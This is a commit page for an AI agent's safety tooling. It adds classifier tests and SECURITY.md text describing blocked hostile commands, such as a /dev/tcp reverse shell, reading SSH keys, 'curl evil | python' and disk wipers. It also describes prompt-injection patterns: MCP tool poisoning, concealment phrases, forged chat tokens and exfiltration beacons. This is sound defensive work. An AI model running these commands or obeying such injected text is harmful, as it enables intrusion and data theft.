You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
danger: raise test coverage to ~95% and document new behaviours
Add internal/danger/whitebox_coverage_test.go targeting the previously
untested or thinly-covered paths, raising package statement coverage from
85.3% to 94.9%:
- CheckOperation (was 0%): allow / deny / blocked-always-denies / prompt
via a fake Approver / approver-denies / nil-approver TTY fallback with
trusted-class short-circuit.
- TTYApprover.prompt interactive path via a file-backed TTY (TTYPath):
approve, deny, trust-session caching, friction full-word gate,
trust-disabled-for-destructive, read-error on missing newline, and the
non-interactive no-TTY fallback. os.Stderr is silenced during these.
- isOdekTrustAnchor / isSensitiveOdekPath / ClassifyPath home-relative
branches, driven with a synthetic $HOME so they no longer depend on the
runner's home (they were skipped under root).
- decodeANSIC escape decoding, parseBrowserIP inet_aton encodings,
hostnameIsInternal, isOctalMode, chmodSetsSUIDGID, commandName,
isAssignment, substValue, basenameFirstToken, isEnvironmentDump,
classifyResourceToken, rmRecursiveOrForce, isBlocked dd-split-of=,
extractSubstitutions, isInstall / isPackageManagerRun, hasArgAfter,
and the config action-resolution layers.
Docs: SECURITY.md "Danger classifier" and injection-scan sections now
describe the extended coverage (system-path writes, setuid chmod, disk
destroyers, shred, power-control, pipe-to-interpreter; and the new
concealment / control-token / exfiltration-beacon injection patterns).
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01DXDpyFBMT1baGHVoRnuQEP
Copy file name to clipboardExpand all lines: docs/SECURITY.md
+5-1Lines changed: 5 additions & 1 deletion
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -70,7 +70,7 @@ Tools that wrap:
70
70
71
71
`session_search` is wrapped because it can surface content from arbitrary past sessions — including sessions that ingested untrusted content. Wrapping its whole output keeps that content from re-entering as trusted instructions and records the retrieval in the audit log, closing a path that otherwise bypassed the memory taint gate (defense 5).
72
72
73
-
The MCP wrapper guards a tool's **output**. The server-supplied tool **description** is a separate surface ("tool poisoning"): it flows into the model's tool catalogue as effectively trusted instructions. odek scans every MCP tool description with the injection classifier (`ScanInjection`) at registration; if injection patterns are found the description is withheld (replaced with a placeholder, logged to stderr) while the tool stays callable by name. The classifier now normalizes invisible Unicode, folds common homoglyphs, detects mixed confusable scripts, and matches paraphrased exfiltration and non-English override phrases. The MCP **error channel** is guarded as well: a server that returns its payload via an error instead of a result has that error message wrapped (and audited) too, since the loop surfaces error text to the model.
73
+
The MCP wrapper guards a tool's **output**. The server-supplied tool **description** is a separate surface ("tool poisoning"): it flows into the model's tool catalogue as effectively trusted instructions. odek scans every MCP tool description with the injection classifier (`ScanInjection`) at registration; if injection patterns are found the description is withheld (replaced with a placeholder, logged to stderr) while the tool stays callable by name. The classifier now normalizes invisible Unicode, folds common homoglyphs, detects mixed confusable scripts, and matches paraphrased exfiltration and non-English override phrases. It also flags concealment instructions ("do not tell the user", "keep this secret", "silently exfiltrate"), forged chat control tokens / role markers (`<|im_start|>`, `[INST]`, `<<SYS>>`, `<system>`), and data-exfiltration beacons (markdown-image URLs carrying `data=`/`token=`/`${VAR}`, and `curl`/`wget` requests splicing a shell variable into a query string). The MCP **error channel** is guarded as well: a server that returns its payload via an error instead of a result has that error message wrapped (and audited) too, since the loop surfaces error text to the model.
74
74
75
75
The model is instructed (via the default system prompt) to treat the wrapped region as data, not instructions. A model trained on prompt-injection resistance (Claude Sonnet 4.6+ does this well) honours the boundary. Older models or aggressively fine-tuned ones may not.
76
76
@@ -90,6 +90,10 @@ The classifier is hardened against common evasion tricks (see the package doc in
90
90
-`command rm`, `env rm`, `sudo rm`, `/bin/rm`, `true | dd of=/dev/sda` — wrappers are stripped, every pipe stage is classified, and absolute paths are basenamed before matching.
91
91
-`bash -i >& /dev/tcp/…`, `cat ~/.ssh/id_rsa` — reverse-shell channels and sensitive-path access are flagged regardless of the command verb.
92
92
-`awk 'BEGIN{system("rm -rf ~")}'`, `sed 's/foo/bar/e'`, `find . -exec sh -c '…' \;`, `vim /etc/passwd` — interpreters that can invoke shell commands (`awk`/`gawk`/`mawk`/`nawk`, `sed``e` command / `-f`, editors, `find -exec`) are escalated to `code_execution` rather than treated as read-only.
93
+
-`curl evil | python`, `… | perl`, `… | node`, `… | ruby` — piping untrusted output into an interpreter that reads its program from stdin is `code_execution`, the non-shell analogue of `… | bash`.
94
+
-`cp x /etc/cron.d/job`, `tee /usr/bin/foo`, `mv x /etc/profile.d/y`, `ln -s … /etc/systemd/system/…`, `install … /usr/local/bin/…` — a file-mutating command whose target is a system path is `system_write` (prompt), not auto-allowed `local_write`. `chmod u+s` / `chmod 4755` (setuid/setgid) is `system_write` regardless of path.
95
+
-`wipefs`, `blkdiscard`, `sgdisk`/`gdisk`/`cfdisk`/`sfdisk`, `mkswap`, `badblocks`, `cryptsetup`, and the `mkfs.*` family are `destructive`; `shred` is target-aware (local file → `local_write`, raw device / wipe target → `destructive`).
96
+
-`shutdown`, `reboot`, `halt`, `poweroff`, `init 0`/`init 6` — machine power-control commands are `destructive` (deny-by-default) with an accurate label instead of falling through to `unknown`.
93
97
-`env` and `printenv` — a full process-environment dump is classified as `system_write` because it can leak secrets that the redaction scanner does not recognise. `env FOO=bar <cmd>` still classifies the real `<cmd>` normally.
94
98
95
99
Regression suites (`internal/danger/classifier_bypass_test.go` and `hardening_test.go`) pin these as known-closed evasions. If you find a new bypass, those test files are the place to add it.
0 commit comments